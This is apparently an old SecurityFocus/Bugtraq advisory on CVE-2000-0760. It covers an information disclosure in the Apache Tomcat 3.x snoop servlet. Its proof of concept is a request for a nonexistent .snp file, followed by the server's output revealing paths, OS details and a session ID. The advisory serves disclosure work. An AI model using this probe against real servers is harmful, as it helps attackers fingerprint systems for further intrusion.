Apache Tomcat Snoop Servlet Information Disclosure Vulnerability

BID:1532

Info

Apache Tomcat Snoop Servlet Information Disclosure Vulnerability

Bugtraq ID: 1532
Class: Design Error
CVE: CVE-2000-0760
Remote: Yes
Local: No
Published: Jul 20 2000 12:00AM
Updated: Jul 11 2009 02:56AM
Credit: This vulnerability was posted to the Bugtraq mailing list on July 20, 2000 by ET LoWNOISE <[email protected]>
Vulnerable: Apache Tomcat 3.1
- BSDI BSD/OS 4.0
- Caldera OpenLinux 2.4
- Debian Linux 2.2
- Debian Linux 2.1
- Digital UNIX 4.0
- FreeBSD FreeBSD 5.0
- FreeBSD FreeBSD 4.0
- Mandriva Linux Mandrake 7.1
- Mandriva Linux Mandrake 7.0
- NetBSD NetBSD 1.4.2 x86
- NetBSD NetBSD 1.4.1 x86
- Redhat Linux 6.2 i386
- Redhat Linux 6.1 i386
- SGI IRIX 6.5
- SGI IRIX 6.4
- Sun Solaris 8_sparc
- Sun Solaris 7.0
Apache Tomcat 3.0
- BSDI BSD/OS 4.0
- Caldera OpenLinux 2.4
- Debian Linux 2.2
- Debian Linux 2.1
- Digital UNIX 4.0
- FreeBSD FreeBSD 5.0
- FreeBSD FreeBSD 4.0
- Mandriva Linux Mandrake 7.1
- Mandriva Linux Mandrake 7.0
- NetBSD NetBSD 1.4.2 x86
- NetBSD NetBSD 1.4 x86
- Redhat Linux 6.2 i386
- Redhat Linux 6.1 i386
- SGI IRIX 6.5
- SGI IRIX 6.4
- Sun Solaris 8_sparc
- Sun Solaris 7.0
Not Vulnerable:

Discussion

Apache Tomcat Snoop Servlet Information Disclosure Vulnerability

A vulnerability exists in the snoop servlet portion of the Tomcat package, version 3.1, from the Apache Software Foundation. Upon hitting an nonexistent file with the .snp extension, too much information is presented by the server as part of the error message. This information may be useful to a would be attacker in conducting further attacks. This information includes full paths, OS information, and other information that may be sensitive.

Exploit / POC

Apache Tomcat Snoop Servlet Information Disclosure Vulnerability

http://narco.guerrilla.sucks.co:8080/examples/jsp/snp/anything.snp
====
Snoop Servlet

Servlet init parameters:

Context init parameters:

Context attributes:
javax.servlet.context.tempdir =
/appsrv2/jakarta-tomcat/work/localhost_8080%2Fexamples
sun.servlet.workdir =
/appsrv2/jakarta-tomcat/work/localhost_8080%2Fexamples

Request attributes:

Servlet Name: snoop
Protocol: HTTP/1.0
Scheme: http
Server Name: narco.goverment.sucks.co
Server Port: 8080
Server Info: Tomcat Web Server/3.1 (JSP 1.1; Servlet 2.2; Java 1.1.8; AIX
4.2 POWER_RS; java.vendor=IBM Corporation)
Remote Addr: xxx.xxx.xxx.xxx
Remote Host: xxx.xxx.xxx.xxx
Character Encoding: null
Content Length: -1
Content Type: null
Locale: en
Default Response Buffer: 8192

Parameter names in this request:

Headers in this request:
Host: narco.goverment.sucks.co:8080
Accept-Encoding: gzip
Cookie: JSESSIONID=To1212mC7833304641226407At
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png,
*/*
Connection: Keep-Alive
Accept-Charset: iso-8859-1,*,utf-8
User-Agent: Mozilla/4.51 [en] (Winsucks; I)
Accept-Language: en

Cookies in this request:
JSESSIONID = To1212mC7833304641226407At

Request Is Secure: false
Auth Type: null
HTTP Method: GET
Remote User: null
Request URI: /examples/jsp/snp/anything.snp
Context Path: /examples
Servlet Path: /jsp/snp/anything.snp
Path Info: null
Path Trans: null
Query String: null

Requested Session Id: To1212mC7833304641226407At
Current Session Id: To1212mC7833304641226407At
Session Created Time: 964047263477
Session Last Accessed Time: 964047528749
Session Max Inactive Interval Seconds: 1800

Session values:
numguess = num.NumberGuessBean@6bfa9a1

Solution / Fix

Apache Tomcat Snoop Servlet Information Disclosure Vulnerability

Solution:
Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].

References

Apache Tomcat Snoop Servlet Information Disclosure Vulnerability

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